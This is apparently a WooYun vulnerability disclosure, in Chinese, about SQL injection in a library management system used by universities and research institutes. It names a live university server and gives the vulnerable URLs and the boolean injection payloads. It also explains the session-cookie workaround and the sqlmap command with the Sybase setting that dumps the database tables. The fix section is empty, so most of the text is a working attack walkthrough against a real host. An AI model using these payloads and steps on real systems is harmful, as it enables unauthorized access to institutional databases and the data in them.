漏洞概要
关注数(24)
关注此漏洞
>
漏洞详情
披露状态:
2014-11-24: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-02-22: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
大量科研单位和高校在使用该系统。
详细说明:
北京创讯未来软件技术有限公司开发的,该公司的网址http://www.bcrj.com.cn/

用户量应该不小。提交前搜索了下,发现已经有人提交过该公司的问题了。但此次提交的并非同一问题,也并非同一系统,并不重复。
#1该系统存在多处注入,以http://210.30.190.28/ 为例
预约通知处存在post注入。

Barcode参数存在注入。


新书通报处get型注入:http://210.30.190.28/newbook/queryOut.jsp?classname=%B7%A8%C2%C9%C0%E0
这里的注入就比较有意思了。
http://210.30.190.28/newbook/queryOut.jsp?classname=%B7%A8%C2%C9%C0%E0' and ‘1’=’1
正常

http://210.30.190.28/newbook/queryOut.jsp?classname=%D3%A2%D3%EF%27%20and%20%271%27=%272
返回空白

此处应该是明显存在注入的,我直接放拿sqlmap试了试却告诉我无法注入,明显不科学啊。
后来我多次尝试,发现如果关闭浏览器重新打开http://210.30.190.28/newbook/queryOut.jsp?classname=%B7%A8%C2%C9%C0%E0
显示的并非正常页面。而是

所以我觉得是cookie的因素,于是重新点击新书通报,选择一个类别检索,在页面显示正常的情况下刷新页面抓包保存,再拿到SQLMAP里跑。

这次就可以正常注入了。
但是请注意,如果你再次检索其他类别,该cookie就会失效了。
漏洞证明:
提供几个其他案例供测试:
最后本来以为就完了,结果又发现了问题,跑不出除库名以外的其他数据。最后自己手工测试了下才发现问题,sqlmap给出的数据库是SQL sever,但又给不出具体版本。实则数据库应为Sybase。修改数据库为Sybase就能用sqlmap正常跑出数据了。

Sqlmap -r 1.txt --dbms Sybase -D melinets --tables

修复方案:
版权声明:转载请注明来源 大象@乌云
>
漏洞回应